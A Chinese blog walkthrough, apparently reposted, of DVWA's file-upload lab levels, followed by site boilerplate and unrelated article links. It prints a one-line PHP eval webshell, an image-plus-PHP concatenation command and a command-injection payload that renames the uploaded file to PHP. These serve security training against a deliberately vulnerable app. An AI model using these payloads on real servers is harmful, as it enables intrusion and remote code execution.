dvwa靶场通关(五)

第五关 File Upload(文件上传漏洞)

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限

low

low等级没有任何的防护

 

创建一个test.txt文件,输入下面一句话木马

<?php @eval($_POST['666']); ?>

 

 然后改后缀名为.php,变成php文件,然后就上传该文件,返回一个路径

 打开蚁剑连接,url就是根路径拼接上返回的路径

 medium

这一关对文件类型和大小进行了限制,只能是jpg或者png格式文件,并且文件大小不能超过100000字节

 上传刚才的php文件,提示只能上传jpeg或者png格式

 那我们就把后缀改成jpg再上传,发现成功了,并且给出了上传的路径

 

 继续用蚁剑连接,发现虽然上传成功,但是无法连接成功,单纯的图片马并不能直接和蚁剑连接,因为该文件依然是以image格式进行解析,只有利用文件包含漏洞,才能成功利用该木马

 所以我们要换一个方法绕过前端的检测,我们选择test.jpg上传,然后burp suite抓包,把后缀名改成.php即可绕过前端的检测,上传一个test.php文件

 上传成功了

 

 这回连接成功了

 

high

 查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错

 我们找一张小一点的图片,和shell.php文件放在一起,同路径下输入cmd打开命令输入

copy 1.png /b + shell.php /a shell.jpg

 

 

 成功创建一个shell.jpg文件

 打开这个图片看,我们的php代码已经拼接到后面了

 然后上传该文件

 

 此时由于图片马中的php代码并没有被解析,所以不能直接使用蚁剑进行连接,这里可以通过命令注入漏洞将文件名改为php

打开命令注入漏洞的low等级,输入下面内容

127.0.0.1 |rename ..\..\hackable\uploads\shell.jpg shell.php

 

 然后shell.jpg就被改成了shell.php

 接下来就用蚁剑连接即可

 impossible

可以看到,Impossible级别的代码加入Anti-CSRF token防护CSRF攻击,对上传文件进行了重命名为md5值,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/353910.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

亚马逊国际站通过ASIN获取商品信息

目录 亚马逊中国站获取全部商品分类 亚马逊中国站获取商品列表 亚马逊中国站通过ASIN获取商品信息 亚马逊中国站获取商品库存信息 亚马逊国际站获取全部商品分类 亚马逊国际站获取商品列表 亚马逊国际站处理图形验证码 亚马逊国际站通过ASIN获取商品信息 亚马逊国际站获取商品…

亚马逊国际站获取全部商品分类

目录 亚马逊中国站获取全部商品分类 亚马逊中国站获取商品列表 亚马逊中国站通过ASIN获取商品信息 亚马逊中国站获取商品库存信息 亚马逊国际站获取全部商品分类 亚马逊国际站获取商品列表 亚马逊国际站处理图形验证码 亚马逊国际站通过ASIN获取商品信息 亚马逊国际站获取商品…

亚马逊中国站获取全部商品分类

目录 亚马逊中国站获取全部商品分类 亚马逊中国站获取商品列表 亚马逊中国站通过ASIN获取商品信息 亚马逊中国站获取商品库存信息 亚马逊国际站获取全部商品分类 亚马逊国际站获取商品列表 亚马逊国际站处理图形验证码 亚马逊国际站通过ASIN获取商品信息 亚马逊国际站获取商品…

推荐12个开放式免费收录网站的分类目录

很多做网站推广的网友都问2019网址分类目录还有用吗?一些长久网站或高权重、流量高的网站分类目录还有用的&#xff0c;不但能增加优质的外链&#xff0c;提高网站的权重&#xff0c;还能增加网站的曝光率。做seo网页优化的&#xff0c;很多都将会新站提交到各个分类目录网站&…

亚马逊分类目录_新版亚马逊分类目录v2.4程序源码官方分享下载

亚马逊分类目录程序是个跨平台的开源软件&#xff0c;具备来路、去路统计功能&#xff0c;支持两级分类&#xff0c;具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便&#xff0c;可以帮您迅速、轻松地构建起一个强大、专业的分类目录或网址导航网…

《大数据技术与应用》课程实验报告|week12|实验8|Pig——高级编程环境|验证评估函数

目录 一、实验内容 二、实验目的 三、实验设备 四、实验步骤 步骤一 步骤二 步骤三 步骤四 步骤五 步骤六 步骤七 步骤八 步骤九 步骤十 步骤十一 步骤十二 步骤十三 步骤十四 步骤十五 步骤十六 五、实验结果 六、实验小结 一、实验内容 验证19.5节中的…

微信Mac版客户端(支持发布朋友圈)v3.1.5(18841)正式版

微信Mac版客户端全新功能升级&#xff01;&#xff01;不仅支持查看朋友圈&#xff0c;还能发布朋友圈啦&#xff01;&#xff01;&#xff01;微信正式版支持对朋友圈进行互动和点 赞等操作&#xff0c;还可以浏览朋友圈相册&#xff0c;这是一款运行在OS X上的 社交聊天工具&…

怒肝半月!Python 学习路线+资源大汇总

Python 学习路线 by 鱼皮。 原创不易&#xff0c;请勿抄袭&#xff0c;违者必究&#xff01; 大家好&#xff0c;我是鱼皮&#xff0c;肝了十天左右的 Python 学习路线终于来了~ 和之前一样&#xff0c;在看路线前&#xff0c;建议大家先通过以下视频了解几个问题&#xff1a;…

计算机考研,这样选学校才是正解

写了一篇《启舰&#xff1a;对计算机专业来说学历真的重要吗&#xff1f;》&#xff0c;一时间N多同学咨询自身情况要不要考研&#xff0c;眼看有点Hold不住&#xff0c;索性又出了一篇《启舰&#xff1a;计算机专业有必要考研吗&#xff1f;》&#xff0c;结果&#xff0c;又有…

【035期】面试官问:什么是耦合?解耦合的方法有哪几种?

>>号外&#xff1a;关注“Java精选”公众号&#xff0c;回复“面试资料”&#xff0c;免费领取资料&#xff01;“Java精选面试题”小程序&#xff0c;3000 道面试题在线刷&#xff0c;最新、最全 Java 面试题&#xff01; 在项目的开发过程中&#xff0c;我们经常强调项…

国内 Android 手机典型勒索软件详情分析(附解锁方法)

事件说明 2017年2月13-17日&#xff0c;RSA Conference 2017 信息安全大会在美国旧金山Moscone中心隆重举行。大会第一天就是一系列关于Ransomware&#xff08;勒索软件&#xff09;的议题&#xff0c;而在刚刚过去的2016年&#xff0c;“MongDB数据库网络勒索事件”&#xff0…

Java后端入行看这 做软件园最靓的仔

16k长文以失败学角度分享普通本科二线Java后端入行经历 前言入行趣事■ 实习前■ 趣事分享1 —— 找实习■ 开启一周面试狂潮1、皮包单休公司2、养老级银行政务3、培训机构4、狼性外包公司5、教授带学生6、初创外包7、阿里旗下外包8、总结9、毕业后 ■ 趣事分享2 —— 给你加50…

QQ空间的汉字转拼音代码

html <!DOCTYPE html> <html lang"en" xmlns"http://www.w3.org/1999/xhtml"> <head><meta charset"utf-8" /><title>QQ空间的汉字转拼音代码</title><script id"jquery_183" type"text/…

android路由表位置,知乎上已获千赞,已拿到offer

前言 从2010年开始Android市场开始需要大量的Android开发人员&#xff0c;招聘市场上也开始大量招Android开发人员&#xff0c;大量java开发者开始学习Android开发&#xff0c;招聘市场面试要求上只要有一定java语法基础&#xff0c;都很容易应聘上Android开发的岗位&#xff…

FasterRunner安装教程(Windows版)

FasterRunner安装教程&#xff08;Windows版&#xff09; 原创 幼儿园二园长 发布于2019-05-10 17:02:59 阅读数 499 收藏 更新于2019-05-10 17:04:23 分类专栏&#xff1a; 接口 工具 版权声明&#xff1a;本文为博主原创文章&#xff0c;遵循 CC 4.0 BY-SA 版权协议&…

时间管理专题_软件篇02

本文属非商业用途&#xff0c;文中借鉴他人处均已注明出处&#xff0c;若侵犯原作权益&#xff0c;请联系删除&#xff0c;谢谢 接上一篇 时间管理专题_软件篇01 #NOTE要点:神文&#xff0c;从目标管理到时间统计完整流程&#xff0c;作者亲历 要点&#xff1a;此文过猛&…

为什么我强烈建议大家使用 Linux 开发?

点击上方“码农突围”&#xff0c;马上关注 这里是码农充电第一站&#xff0c;回复“666”&#xff0c;获取一份专属大礼包 真爱&#xff0c;请设置“星标”或点个“在看” 作者&#xff1a;夏日浅笑 cnblogs.com/summertime-wu/p/11140052.html Linux 能用吗&#xff1f; 我身…

微信Mac免费版:在Mac上也能浏览朋友圈、浏览相册和发布朋友圈

微信Mac版客户端全新功能升级&#xff01;&#xff01;不仅支持查看朋友圈&#xff0c;还能发布朋友圈啦&#xff01;&#xff01;&#xff01;微信正式版支持对朋友圈进行互动和点 赞等操作&#xff0c;还可以浏览朋友圈相册&#xff0c;这是一款运行在OS X上的 社交聊天工具&…

支持查看朋友圈的微信Mac版客户端

微信Mac版客户端终于支持查看朋友圈啦&#xff01;&#xff01;&#xff01;微信正式版支持对朋友圈进行互动和点 赞等操作&#xff0c;但目前仅限于浏览&#xff0c;这是一款运行在OS X上的 社交聊天工具&#xff0c;微信mac版支持跨通信运营商&#xff0c;跨操作系统平台通过…

电脑、手机软件推荐(多角度良心推荐)

本文从电脑和手机出发 推荐以下9大方向软件 1、杀毒软件 2、浏览器 3、聊天软件 4、视频软件 5、音乐软件 6、网盘软件 7、解压软件 8、购物软件 9、直播软件 为什么要推荐&#xff1f; 因为不想大家被流氓软件或者是低质量软件烦恼 1、杀毒软件 手机&#xff1a;推荐手机系…